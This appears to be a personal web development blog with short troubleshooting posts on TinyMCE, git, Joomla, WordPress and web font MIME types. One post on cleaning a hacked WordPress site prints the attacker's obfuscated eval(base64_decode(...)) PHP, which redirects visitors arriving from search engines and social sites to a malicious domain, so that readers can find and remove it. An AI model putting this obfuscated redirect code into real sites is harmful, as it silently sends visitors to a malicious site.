Web Development

Setting caret (cursor) position in TinyMCE without using bookmarks

I recently had to automatically implement emoticons in my TinyMCE instance on a website. One of the requirements was to be able to type :) and have it automatically change to the emoticon.This wasn’t a huge task but the issue that followed seem to present a challenge. By default the caret was moving back to the beginning of the text rather than staying in its natural position.

The solution I found to this problem was to add an extra element along with the image that was being inserted. Then I was able to search for that element id and select it which would position the caret in the correct place. Then I would remove the element added as it was no longer required.

var placeholderMarker = $(tinyMCE.activeEditor.getBody()).find('#cursorMarker');
tinyMCE.activeEditor.selection.select(placeholderMarker.get(0) );
placeholderMarker.remove();

Git pull and push asks for username and password every time

I recently rebuilt my computer and cloned a git repository that I had been working on. Once I started working on the project again, I realised that every time I was executing a pull or push command in git bash it would ask me for my username and password whereas before it used to only request by password.

I checked my .gitconfig and it contained the correct details (under [user] i had name and email). I double checked that a second .gitconfig hadn’t been created elsewhere that was causing a conflict.

I eventually found out that it was because I had cloned the repository using the https url instead of the ssh. I just had to change the way I was connecting the remote repository, and that was done using the command below. Once I had done this my push and pull commands no longer asked for my username.

git remote set-url origin git@github.com:username/repo.git

Can’t access specific website on Mac

I recently encountered a problem with a website I was working on. I stopped being able to access the site. All my browsers were not able to connect to the server. I was able to access all other sites that I needed.

I contacted the host of the website and requested that they check my ip address had not been blocked on their end which they did and it didn’t help.
They suggested I check my ISP. I then tried to access the site using my mobile phone on the same wifi network and this worked fine.

After some time I realised I had set up a server using MAMP Pro using the same address as the site which I had forgotten about. This was stopping me accessing the site. Once I changed the name of the server I set up, I was able to access the site without any problems.

Joomla 2.5: Displaying subcategory articles in Category Blog menu item

I have recently been working on a Joomla website and wanted to do the simple task of displaying my articles in a specific category on a page on under each other, just like a standard blog view.

I chose to use the ‘Category Blog’ menu item which worked perfectly until I wanted to display subcategories too. Any article I put in a subcategory no longer displayed on the page.

After lots of search the net I found the answer. The articles were actually being shown but the top level category articles were shown then each of the subcategories. So my article in the subcategory was moved to the end of the list, and due to pagination I didn’t see it on the first page.

To fix this, in the menu item settings, on the right hand side, select the option ‘Blog Layout Options’ and change ‘Category Order’ to ‘No Order’. This will make sure that the categories aren’t ordered in anyway so all articles that come under the parent category will be displayed in the order you specify.

WordPress 3.4.1 upgrade stopped Media Library working

I recently upgraded one of my WordPress websites to version 3.4.1. As soon as I did this I started experiencing issues with my media library.

Whenever I uploaded an image to the library I would be hit with a 404 error. I also got the same when I tried inserting an image into a post.

I searched the net extensively and tried many possible fixes but none of them worked. I tried altering my .htacces file (http://wordpress.org/support/topic/file-upload-link-error-404), I tried re uploading my wp-admin and wp-includes folders. I made sure my permissions were correct for the uploads folder and also the wp-content folder. I switched to the WordPress TwentyEleven theme but still the same issue was there. I even created a new site on the same host and was experiencing the same issue so decided it was something to do with my host.

I contacted my hosting company and explained the problem to them and with a couple minutes they had rectified the issue. Apparently the mod_security module was causing the conflict. They disabled it and just like that my site was working again.

A lot of the blog posts I found while searching for this had said that it was something to do with mod_security but none of the things I added to the .htaccess file seemed to be effective. 

I hope this helps someone having the same I had.

Mime Types (especially for Web Fonts)

I am regularly having to go in search of mime types for web fonts, so thought I would put them here so I will know exactly where to go for them.

.eot      application/octet-stream
.woff     application/x-font-woff
.svg      image/svg+xml
.ttf        application/octet-stream

Feel free to add more mime types below that you think would be useful to others.

Exclude Featured image from WordPress gallery

I needed to add the default wordpress gallery to page with a featured image but found that the featured image was also included in this gallery.

The best way I found to exclude this is to add the code below to your site

function exclude_thumbnail_from_gallery($null, $attr)
{
    if (!$thumbnail_ID = get_post_thumbnail_id())
        return $null; // no point carrying on if no thumbnail ID
 
    // temporarily remove the filter, otherwise endless loop!
    remove_filter('post_gallery', 'exclude_thumbnail_from_gallery');
 
    // pop in our excluded thumbnail
    if (!isset($attr['exclude']) || empty($attr['exclude']))
        $attr['exclude'] = array($thumbnail_ID);
    elseif (is_array($attr['exclude']))
        $attr['exclude'][] = $thumbnail_ID;
 
    // now manually invoke the shortcode handler
    $gallery = gallery_shortcode($attr);
 
    // add the filter back
    add_filter('post_gallery', 'exclude_thumbnail_from_gallery', 10, 2);
 
    // return output to the calling instance of gallery_shortcode()
    return $gallery;
}
add_filter('post_gallery', 'exclude_thumbnail_from_gallery', 10, 2);

I found this solution here: http://stackoverflow.com/a/4347635. Its an old post but still works.

WordPress site redirects to costabrava.bee.pl

I have just finished cleaning a wordpress website that had been hacked. The site would redirect to costabrava.bee.pl which is a malicious website.

Due to this Google began showing a warning page whenever someone navigates to that site, informing them that the site is infected.

I had to go through the site and locate all of the instances of code that looked like this:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWh
lYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWyd
IVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0
KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cml
zdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIik
gb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImx
pdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJ
lZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN
0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R
1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R
yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV
4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19
tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cig
kcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9
vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3R
yaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmw
iKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik
7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

This code had been inserted in lots of the files on the site. It can be very time consuming to find the offending files. I cleaned the site by using Adobe Dreamweaver, downloading the whole site, including all the WordPress files, not just the theme files and ran a Find All for “eval” on the entire local site. From there I could see all the files that had the offending code and I was able to delete them and re-upload the cleaned file.

Obviously, cleaning the site isn’t the only thing that needs to be done, change all your passwords for the site and ensure they are very secure. Also make sure your WordPress is up-to-date and any plugins you are using.

HTML5 Boilerplate

http://html5boilerplate.com/

This template is a great starting point when creating a new website. The template contains jQuery, Modernizr, uses HTML5 tags and CSS3 also.

The template comes with and index.html page which should be base of all your pages in the site, it also has a 404.html page which can easily be changed to fit your sites theme.The template also handles using HTML5 tags in older tags with the aid of the Modernizr script.

Its definitely worth trying it out for any sites you need to create.

1 2  Scroll to top